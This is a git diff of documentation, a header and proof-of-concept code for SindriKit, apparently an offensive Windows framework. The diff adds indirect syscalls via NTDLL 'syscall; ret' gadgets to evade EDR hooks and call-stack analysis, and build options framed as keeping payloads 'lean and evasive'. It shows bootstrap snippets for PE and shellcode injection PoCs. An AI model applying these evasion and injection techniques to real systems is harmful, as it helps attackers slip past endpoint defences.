+> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_direct_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime. + +## Invocation modes + +| Function | File | Description | +|---|---|---| +| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline | +| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget | + +> **Note on `SND_USE_DEFAULTS`**: When enabled, the framework pre-configures the invoker (indirect), gadget finder, and primary resolver automatically. + ## Table of Contents - [pipeline.md](pipeline.md) — lifecycle from bootstrap to kernel transition diff --git a/docs/domains/primitives/syscalls/api_reference.md b/docs/domains/primitives/syscalls/api_reference.md index a381b40..a02e35f 100644 --- a/docs/domains/primitives/syscalls/api_reference.md +++ b/docs/domains/primitives/syscalls/api_reference.md @@ -24,18 +24,23 @@ Internal pipeline depth: **4 strategies** (`SND_MAX_INTERNAL_STRATEGIES` in `sys | `pAddress` | `PVOID` | Stub address (populated by scan resolver) | | `dwHash` | `DWORD` | Target function hash | | `wSystemCall` | `WORD` | Resolved SSN | +| `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) | > [!NOTE] > The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation. ### `snd_syscall_args_t` -Arguments for `snd_syscall_invoke_asm`. On x64, `arg1` is moved to `R10` per the syscall convention; `arg2`–`arg4` use `RDX`/`R8`/`R9`; `arg5`–`arg11` are stack arguments. +Arguments for the syscall invoker (`snd_syscall_direct_invoke_asm` or `snd_syscall_indirect_invoke_asm`). On x64, `arg1` is moved to `R10` per the syscall convention; `arg2`–`arg4` use `RDX`/`R8`/`R9`; `arg5`–`arg11` are stack arguments. | Field | Type | Description | |---|---|---| | `ssn` | `WORD` | SSN placed in `EAX`/`RAX` | | `arg1`–`arg11` | `PVOID` | Syscall arguments | +| `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub | + +> [!NOTE] +> `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs. --- @@ -51,27 +56,27 @@ typedef snd_status_t (*snd_syscall_resolver_t)( ); ``` -### `snd_syscall_strategy_set` +### `snd_syscall_set_resolver` Sets the **primary** strategy and **resets** the chain to a single entry. ```c -void snd_syscall_strategy_set(snd_syscall_resolver_t resolver); +void snd_syscall_set_resolver(snd_syscall_resolver_t resolver); ``` **Returns:** `void` --- -### `snd_syscall_strategy_add` +### `snd_syscall_add_resolver` Appends a fallback strategy. Evaluated in registration order after the primary. ```c -snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver); +snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver); ``` -**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_BUFFER_TOO_SMALL` (chain full) +**Returns:** `SND_OK`, `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_PIPELINE_EXHAUSTED` (chain full) --- @@ -117,6 +122,34 @@ snd_status_t snd_syscall_resolve_ssn_sort( --- +### `snd_syscall_set_invoker` + +Sets the global syscall invoker function pointer. + +```c +void snd_syscall_set_invoker(snd_syscall_invoker_t invoker); +``` + +Built-in options: `snd_syscall_direct_invoke_asm`, `snd_syscall_indirect_invoke_asm`. + +**Source:** `src/primitives/execution/syscalls/syscalls.c` + +--- + +### `snd_syscall_set_gadget_finder` + +Sets the global gadget finder function pointer. Only required when using indirect invocation. + +```c +void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder); +``` + +Built-in: `snd_syscall_find_gadget_scan`. + +**Source:** `src/primitives/execution/syscalls/syscalls.c` + +--- + ## Resolution & Execution ### `snd_syscall_resolve` @@ -131,26 +164,57 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out --- -### `snd_syscall_invoke_asm` +### `snd_syscall_direct_invoke_asm` -Architecture-specific ASM stub (`invoke_x64.asm` / `invoke_x86.asm`). +Architecture-specific ASM stub (`invoke_direct_x64.asm` / `invoke_direct_x86.asm`). Executes the `syscall` / `sysenter` / `int 2Eh` instruction inline. ```c -extern NTSTATUS snd_syscall_invoke_asm(snd_syscall_args_t *args); +extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args); ``` **Returns:** raw `NTSTATUS` from the kernel --- +### `snd_syscall_indirect_invoke_asm` + +Architecture-specific ASM stub (`invoke_indirect_x64.asm` / `invoke_indirect_x86.asm`). Jumps to a legitimate `syscall; ret` gadget inside NTDLL. Requires `sys_addr` to be populated (via `snd_syscall_find_gadget_scan` or a custom gadget finder). + +```c +extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args); +``` + +**Returns:** raw `NTSTATUS`, or `STATUS_INVALID_PARAMETER` (`0xC000000D`) if `sys_addr` is NULL + +--- + +## Compile-Time Defaults (`SND_USE_DEFAULTS`) + +| Macro | Default value (when enabled) | +|---|---| +| `SND_SYSCALL_INVOKER_DEFAULT` | `snd_syscall_indirect_invoke_asm` | +| `SND_SYSCALL_GADGET_FINDER_DEFAULT` | `snd_syscall_find_gadget_scan` | +| `SND_SYSCALL_RESOLVER_DEFAULT` | `snd_syscall_resolve_ssn_scan` | + +When `SND_USE_DEFAULTS` is disabled (default), all three macros expand to `NULL`. + +> [!TIP] +> **OpSec Rationale:** Why use a compile-time macro instead of just initializing the variables to default pointers in `syscalls.c`? +> If the variables were unconditionally initialized with pointers to `snd_syscall_indirect_invoke_asm` and `snd_syscall_find_gadget_scan`, the C linker would be forced to pull those entire functions (including the scanner logic and ASM stubs) into the final compiled binary, even if the user explicitly chose to use direct syscalls or no syscalls at all. +> By using `SND_USE_DEFAULTS`, we ensure the default dependency graph is completely severed when disabled, keeping the payload footprint as lean and evasive as possible. + +--- + ## Typical bootstrap (PoC pattern) ```c PVOID ntdll = NULL; snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); snd_syscall_set_ntdll(ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); snd_syscall_entry_t entry = {0}; snd_status_t status = snd_syscall_resolve(SND_HASH_NTALLOCATEVIRTUALMEMORY, &entry); diff --git a/docs/domains/primitives/syscalls/engines.md b/docs/domains/primitives/syscalls/engines.md index 4314eec..40a9d76 100644 --- a/docs/domains/primitives/syscalls/engines.md +++ b/docs/domains/primitives/syscalls/engines.md @@ -1,6 +1,6 @@ # Syscall Resolution Engines -SindriKit ships two built-in SSN resolvers. Both implement `snd_syscall_resolver_t` and plug into the cascading pipeline via `snd_syscall_strategy_set` / `snd_syscall_strategy_add`. +SindriKit ships two built-in SSN resolvers. Both implement `snd_syscall_resolver_t` and plug into the cascading pipeline via `snd_syscall_set_resolver` / `snd_syscall_add_resolver`. | Resolver | File | Hook resistance | |---|---|---| @@ -57,7 +57,7 @@ The sorted table is built once per process (`g_table_initialized`). Subsequent r ### Output -Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddress` or `dwHash` — sufficient for `snd_syscall_invoke_asm` which only needs the SSN. +Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddress` or `dwHash` — sufficient for the invoker which only needs the SSN. ### When to use @@ -71,8 +71,10 @@ Sets `entry_out->wSystemCall` to the table index. Does **not** populate `pAddres PoCs and production profiles typically register both: ```c -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` Evaluation order: @@ -93,13 +95,40 @@ snd_status_t my_resolver(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entr return SND_OK; } -snd_syscall_strategy_add(my_resolver); +snd_syscall_add_resolver(my_resolver); ``` Maximum **4** strategies in the chain. --- +## Gadget finder (`snd_syscall_find_gadget_scan`) + +**Source:** `gadget_scan.c` + +Resolves the target function address from the natively loaded NTDLL (via PEB walk, not the user-supplied NTDLL image) and scans for a transition gadget. + +### Algorithm + +1. Get the natively loaded `ntdll.dll` base via `snd_peb_get_module_base_hash`. +2. Resolve the export address of the target function using its hash. +3. Scan forward up to 32 bytes for the transition signature: + - **x64:** `syscall; ret` (`0F 05 C3`) + - **x86:** Entry point + 5 bytes (skips `mov eax, SSN` and enters the OS-specific transition) + +### Output + +Populates `entry->pSyscallAddr` with the gadget address. + +### When to use + +Required when using `snd_syscall_indirect_invoke_asm`. The gadget finder runs automatically during `snd_syscall_resolve` if `g_syscall_gadget_finder` is set. + +> [!IMPORTANT] +> The gadget finder uses the **natively loaded** NTDLL from the process PEB, not the user-supplied NTDLL image. This ensures the gadget points to executable memory regardless of how the SSN source was obtained (disk load, KnownDlls map, etc.). + +--- + ## Dependencies Both resolvers depend on: diff --git a/docs/domains/primitives/syscalls/pipeline.md b/docs/domains/primitives/syscalls/pipeline.md index f93d120..fd68fe9 100644 --- a/docs/domains/primitives/syscalls/pipeline.md +++ b/docs/domains/primitives/syscalls/pipeline.md @@ -1,6 +1,6 @@ # Syscall Execution Pipeline -EDRs hook `ntdll.dll` syscall stubs in userland. Direct syscalls skip those stubs: the operator resolves the System Service Number (SSN) for a target `Nt*` function and invokes `syscall` with that number. +EDRs hook `ntdll.dll` syscall stubs in userland. Direct syscalls skip those stubs: the operator resolves the System Service Number (SSN) for a target `Nt*` function and invokes `syscall` with that number. SindriKit supports both direct and indirect syscall invocation. Direct syscalls execute the `syscall` instruction inline, while indirect syscalls jump to a legitimate gadget within NTDLL to evade EDR call-stack analysis. SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime against a caller-supplied `ntdll` image. @@ -10,9 +10,10 @@ SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime ```mermaid flowchart LR - A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_strategy_set / _add"] - B --> C["3. snd_syscall_resolve"] - C --> D["4. snd_syscall_invoke_asm"] + A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"] + B --> C["3. snd_syscall_set_invoker"] + C --> D["4. snd_syscall_resolve"] + D --> E["5. g_syscall_invoker"] ``` ### 1. Provide `ntdll` base @@ -34,13 +35,28 @@ See [mapping techniques](../mapping/techniques.md) for KnownDlls bootstrap. ### 2. Configure strategy chain ```c -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); // primary -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); // fallback +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +// or for indirect syscalls: +// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` -`snd_syscall_strategy_set` **replaces** the entire chain. Each `snd_syscall_strategy_add` appends up to 3 fallbacks (4 total). +`snd_syscall_set_resolver` **replaces** the entire chain. Each `snd_syscall_add_resolver` appends up to 3 fallbacks (4 total). -### 3. Resolve SSN +### 3. Configure invoker + +```c +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); // direct +// or +snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); // indirect +snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // required for indirect +``` + +Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86). + +### 4. Resolve SSN ```c snd_syscall_entry_t entry = {0}; @@ -49,20 +65,23 @@ snd_status_t status = snd_syscall_resolve(SND_HASH_NTOPENSECTION, &entry); `snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`. -### 4. Invoke +### 5. Invoke -Populate `snd_syscall_args_t` and call the ASM stub: +Populate `snd_syscall_args_t` and call via the global invoker: ```c snd_syscall_args_t args = {0}; -args.ssn = entry.wSystemCall; -args.arg1 = ...; +args.ssn = entry.wSystemCall; +args.sys_addr = entry.pSyscallAddr; +args.arg1 = ...; // arg2–arg11 as required by the target syscall -NTSTATUS nt_status = snd_syscall_invoke_asm(&args); +NTSTATUS nt_status = g_syscall_invoker(&args); ``` -`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 3–4 internally — operators only bootstrap once at startup. +`sys_addr` is only used by the indirect invoker; the direct invoker ignores it. + +`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 4–5 internally — operators only bootstrap once at startup. --- @@ -75,8 +94,12 @@ snd_status_t st = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); if (SND_FAILED(st)) return st; snd_syscall_set_ntdll(ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +// or for indirect syscalls: +// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // Resolve + invoke NtClose snd_syscall_entry_t entry = {0}; @@ -84,14 +107,26 @@ st = snd_syscall_resolve(SND_HASH_NTCLOSE, &entry); if (SND_FAILED(st)) return st; snd_syscall_args_t args = {0}; -args.ssn = entry.wSystemCall; -args.arg1 = handle; +args.ssn = entry.wSystemCall; +args.sys_addr = entry.pSyscallAddr; +args.arg1 = handle; -NTSTATUS nt = snd_syscall_invoke_asm(&args); +NTSTATUS nt = g_syscall_invoker(&args); ``` --- +## `SND_USE_DEFAULTS` + +When enabled, all globals (invoker, gadget finder, primary resolver) are pre-configured. The only required bootstrap call is `snd_syscall_set_ntdll()`. + +> [!TIP] +> **OpSec Rationale:** Why use a compile-time macro instead of just initializing the variables to default pointers in `syscalls.c`? +> If the variables were unconditionally initialized with pointers to `snd_syscall_indirect_invoke_asm` and `snd_syscall_find_gadget_scan`, the C linker would be forced to pull those entire functions (including the scanner logic and ASM stubs) into the final compiled binary, even if the user explicitly chose to use direct syscalls or no syscalls at all. +> By using `SND_USE_DEFAULTS`, we ensure the default dependency graph is completely severed when disabled, keeping the payload footprint as lean and evasive as possible. + +--- + ## Integration with `_sys` backends After bootstrap, swapping to syscall-backed primitives requires no additional setup: @@ -101,7 +136,7 @@ ctx.mem_api = &snd_mem_sys; inj_ctx.proc_api = &snd_proc_sys; ``` -Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, packs arguments into `snd_syscall_args_t`, and invokes `snd_syscall_invoke_asm`. +Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, packs arguments into `snd_syscall_args_t`, and invokes `g_syscall_invoker`. --- @@ -109,10 +144,10 @@ Each `_sys` API function calls `snd_syscall_resolve` with the appropriate hash, | Status | Cause | |---|---| -| `SND_STATUS_NOT_INITIALIZED` | `snd_syscall_set_ntdll` not called, or no strategies registered | +| `SND_STATUS_NOT_INITIALIZED` | `snd_syscall_set_ntdll` not called, invoker not set, or no strategies registered | | `SND_STATUS_SSN_NOT_FOUND` | All strategies failed for the hash | -| `SND_STATUS_BUFFER_TOO_SMALL` | Strategy chain full (max 4) | -| `SND_STATUS_INVALID_PARAMETER` | NULL resolver passed to `strategy_add` | +| `SND_STATUS_PIPELINE_EXHAUSTED` | Strategy chain full (max 4) | +| `SND_STATUS_NULL_POINTER` | NULL resolver passed to `strategy_add` | --- diff --git a/docs/examples/inject_pe.md b/docs/examples/inject_pe.md index 8c6032d..59592b5 100644 --- a/docs/examples/inject_pe.md +++ b/docs/examples/inject_pe.md @@ -47,8 +47,10 @@ ldr_ctx.raw_source = &file_buf; PVOID ntdll = NULL; status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); snd_syscall_set_ntdll(ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` ### 3. Configure loader and injection contexts diff --git a/docs/examples/inject_shell.md b/docs/examples/inject_shell.md index 264c249..9985629 100644 --- a/docs/examples/inject_shell.md +++ b/docs/examples/inject_shell.md @@ -44,9 +44,12 @@ status = snd_disk_buffer_load(file_path, &inject_buf); ```c PVOID ntdll = NULL; status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); + snd_syscall_set_ntdll(ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` This PoC bootstraps the pipeline but uses `snd_proc_win` for injection. Swap to `&snd_proc_sys` to use the prepared pipeline for stealth remote operations. diff --git a/docs/examples/loader_noCRT_nowinapi.md b/docs/examples/loader_noCRT_nowinapi.md index d6ee48c..f39dcbd 100644 --- a/docs/examples/loader_noCRT_nowinapi.md +++ b/docs/examples/loader_noCRT_nowinapi.md @@ -22,7 +22,7 @@ No CLI — edit `file_path` in `main.c` before building. PVOID ntdll = NULL; status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll); snd_syscall_set_ntdll(ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); ``` ### 2. Configure loader context diff --git a/docs/examples/loader_nowinapi.md b/docs/examples/loader_nowinapi.md index 5cd0e08..0483fa0 100644 --- a/docs/examples/loader_nowinapi.md +++ b/docs/examples/loader_nowinapi.md @@ -31,8 +31,10 @@ status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf); PVOID ntdll = ntdll_buf.data; snd_syscall_set_ntdll(ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` Commented alternatives in `pocs/loader_nowinapi/main.c` (swap in for different OpSec trade-offs): diff --git a/docs/getting_started/basic_usage.md b/docs/getting_started/basic_usage.md index 6c0e8c3..a523591 100644 --- a/docs/getting_started/basic_usage.md +++ b/docs/getting_started/basic_usage.md @@ -40,7 +40,7 @@ See [Dependency injection](../architecture/dependency_injection.md) for the full ## 3. Explicit bootstrap (no implicit globals) > [!IMPORTANT] -> Syscall-backed backends (`snd_mem_sys`, `snd_proc_sys`) and the syscall resolution pipeline require **explicit initialization**. The engine does not auto-discover a clean `ntdll` base or SSN table. +> Syscall-backed backends (`snd_mem_sys`, `snd_proc_sys`) and the syscall resolution pipeline require **explicit initialization**. The engine does not auto-discover a clean `ntdll` base or SSN table (unless `SND_USE_DEFAULTS=ON`, where only `snd_syscall_set_ntdll()` is strictly required). ### Minimum syscall bootstrap @@ -50,24 +50,30 @@ PVOID ntdll = NULL; // Option A: KnownDlls (preferred for inject_pe / production syscall paths) status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); -// Option B: disk load (loader_nowinapi default) -// status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf); -// ntdll = ntdll_buf.data; - -// Option C: PEB walk (no disk I/O) +// Option B: PEB walk (no disk I/O) // status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll); +// Option C: disk load +// ... + snd_syscall_set_ntdll(ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); + +snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); +// or for indirect syscalls: +// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ``` | Step | Purpose | |---|---| | Obtain `ntdll` base | SSN scan/sort read export stubs from this image | | `snd_syscall_set_ntdll` | Registers the base for all resolvers | -| `snd_syscall_strategy_set` | Primary resolver (scan) | -| `snd_syscall_strategy_add` | Fallback resolver (sort) | +| `snd_syscall_set_resolver` | Primary resolver (scan) | +| `snd_syscall_add_resolver` | Fallback resolver (sort) | +| `snd_syscall_set_invoker` | Selects direct or indirect invocation | +| `snd_syscall_set_gadget_finder` | Required for indirect invocation only | Even when using **`snd_mem_nt`** (in-process `ntdll` stubs, not direct syscalls), PoCs still bootstrap the pipeline so upgrading to **`snd_mem_sys`** requires no other code changes. @@ -147,7 +153,7 @@ snd_inj_cleanup(&inj_ctx); |---|---|---|---|---|---| | Diagnostic | `loader_winapi` | `snd_mem_win` | `snd_mod_win` | — | Optional | | NT stubs | `loader_nowinapi` | `snd_mem_nt` | `snd_mod_nt` | — | Required (disk `ntdll`) | -| Direct syscalls | `inject_pe` | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) | +| Direct/Indirect syscalls | `inject_pe` | `snd_mem_sys` | `snd_mod_nt` | `snd_proc_sys` | Required (KnownDlls) | | CRT-less | `loader_noCRT_nowinapi` | `snd_mem_win` | `snd_mod_nt` | — | Minimal | | Shellcode inject | `inject_shell` | — | — | `snd_proc_win` | Yes (KnownDlls; unused while `_win`) | | WoW64 x64 exec | `heavens_gate` | Win32 demo alloc | — | — | N/A | @@ -180,8 +186,10 @@ Avoids `VirtualAlloc` / `LoadLibrary` telemetry; calls still pass through in-pro ```c snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll); snd_syscall_set_ntdll(ntdll); -snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); -snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); +snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); +snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); +snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); ldr_ctx.mem_api = &snd_mem_sys; ldr_ctx.mod_api = &snd_mod_nt; diff --git a/docs/getting_started/building.md b/docs/getting_started/building.md index fa8c520..eb5ad0f 100644 --- a/docs/getting_started/building.md +++ b/docs/getting_started/building.md @@ -62,11 +62,13 @@ Include `sindri.h` or granular headers (`sindri/primitives.h`, etc.). Hash const | `SND_RANDOMIZE_SEED` | `OFF` | Random `SND_HASH_SEED` per configure | OFF keeps deterministic hashes for faster rebuilds | | `SND_BUILD_PAYLOADS` | `OFF` | Build `pocs/` executables | Full set when `SND_CRTLESS=OFF` | | `SND_BUILD_TESTS` | `OFF` | Build test payloads + integration harness inputs | **Requires CRT**; forces `SND_CRTLESS=OFF` | +| `SND_USE_DEFAULTS` | `OFF` | Pre-configure syscall invoker, gadget finder, and resolver globals | Defaults to indirect invoke + scan resolver + gadget scan. **OpSec note**: Left OFF by default so unused ASM stubs and scanners aren't linked into the final binary. | ### Guards (CMake) - `SND_BUILD_TESTS=ON` → `SND_CRTLESS` forced OFF - `SND_CRTLESS=ON` → `SND_ENABLE_DEBUG` and `SND_USE_PRINTF` forced OFF +- `SND_USE_DEFAULTS=ON` → invoker = `snd_syscall_indirect_invoke_asm`, gadget finder = `snd_syscall_find_gadget_scan`, resolver = `snd_syscall_resolve_ssn_scan` - Non-Windows configure → fatal error Use a **clean build directory** when switching between CRT-less and test builds. diff --git a/docs/parsers/env/techniques.md b/docs/parsers/env/techniques.md index 9cf52b9..730dc7f 100644 --- a/docs/parsers/env/techniques.md +++ b/docs/parsers/env/techniques.md @@ -12,8 +12,8 @@ Keeping these separate reflects the code layout: ``` include/sindri/parsers/ -├── pe/ ← buffer-backed PE format parsing -└── env/ ← live process environment structures +├── pe/ <- buffer-backed PE format parsing +└── env/ <- live process environment structures ``` NT layout definitions (`SND_PEB`, `SND_LDR_DATA_TABLE_ENTRY`, etc.) live in `include/sindri/internal/nt/peb.h`. Env parsers consume these layouts; they do not duplicate Windows SDK headers to avoid pulling in monitored imports. @@ -50,7 +50,7 @@ Loaded modules are tracked in three linked lists inside `SND_PEB_LDR_DATA`: ``` InLoadOrderModuleList -InMemoryOrderModuleList ← used by SindriKit +InMemoryOrderModuleList <- used by SindriKit InInitializationOrderModuleList ``` diff --git a/include/sindri/primitives/syscalls.h b/include/sindri/primitives/syscalls.h index c1c6c37..b6958db 100644 --- a/include/sindri/primitives/syscalls.h +++ b/include/sindri/primitives/syscalls.h @@ -11,6 +11,10 @@ SND_BEGIN_EXTERN_C #define SND_MAX_SYSCALLS 500 #define SND_MAX_SYS_NAME_LEN 256 +#ifndef SND_USE_DEFAULTS +#define SND_USE_DEFAULTS 0 +#endif + /** * @brief Syscall entry structure holding the address, hash, and syscall number. */ @@ -18,6 +22,7 @@ typedef struct { PVOID pAddress; DWORD dwHash; WORD wSystemCall; + PVOID pSyscallAddr; } snd_syscall_entry_t; /** @@ -36,6 +41,9 @@ typedef struct { PVOID arg9; PVOID arg10; PVOID arg11; + // Placed at the end to prevent altering the memory offsets of args 1-11 + // inside the existing Direct ASM stub (invoke_x64.asm). + PVOID sys_addr; } snd_syscall_args_t; /** @@ -43,22 +51,37 @@ typedef struct { * Any custom or future gate can be plugged into the engine if it matches this. */ typedef snd_status_t (*snd_syscall_resolver_t)(PVOID ntdll_base, DWORD func_hash, snd_syscall_entry_t *entry_out); +typedef NTSTATUS (*snd_syscall_invoker_t)(snd_syscall_args_t *args); +typedef snd_status_t (*snd_syscall_gadget_finder_t)(snd_syscall_entry_t *entry); snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out); snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out); +snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry); + +#if SND_USE_DEFAULTS + #define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm + #define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan + #define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan +#else + #define SND_SYSCALL_INVOKER_DEFAULT NULL + #define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL + #define SND_SYSCALL_RESOLVER_DEFAULT NULL +#endif /** * @brief Sets the primary syscall resolution strategy using a function pointer. * @param resolver The resolver function to use as the primary strategy. */ -void snd_syscall_strategy_set(snd_syscall_resolver_t resolver); +void snd_syscall_set_resolver(snd_syscall_resolver_t resolver); /** * @brief Adds a fallback syscall resolution strategy to the pipeline. * @param resolver The fallback resolver function to add. * @return SND_OK on success, or an error if the pipeline is full. */ -snd_status_t snd_syscall_strategy_add(snd_syscall_resolver_t resolver); +snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver); +void snd_syscall_set_invoker(snd_syscall_invoker_t invoker); +void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder); /** * @brief Sets the global base address of the ntdll.dll module. @@ -81,7 +104,8 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out * @param args Pointer to the syscall arguments structure. * @return The NTSTATUS returned by the syscall. */ -extern NTSTATUS snd_syscall_invoke_asm(snd_syscall_args_t *args); +extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args); +extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args); SND_END_EXTERN_C diff --git a/pocs/inject_pe/main.c b/pocs/inject_pe/main.c index de88407..ab6575c 100644 --- a/pocs/inject_pe/main.c +++ b/pocs/inject_pe/main.c @@ -72,10 +72,12 @@ int main(int argc, char *argv[]) { goto cleanup; } snd_syscall_set_ntdll(ntdll); + snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); + snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); /* Configure the cascading syscall resolution strategy. */ - snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan); - snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort); + snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); + snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); // Configure Loader: Use syscalls for memory, Native API for module resolution ldr_ctx.mem_api = &snd_mem_sys; diff --git a/pocs/inject_shell/main.c b/pocs/inject_shell/main.c index 201d3c9..bed6f30 100644 --- 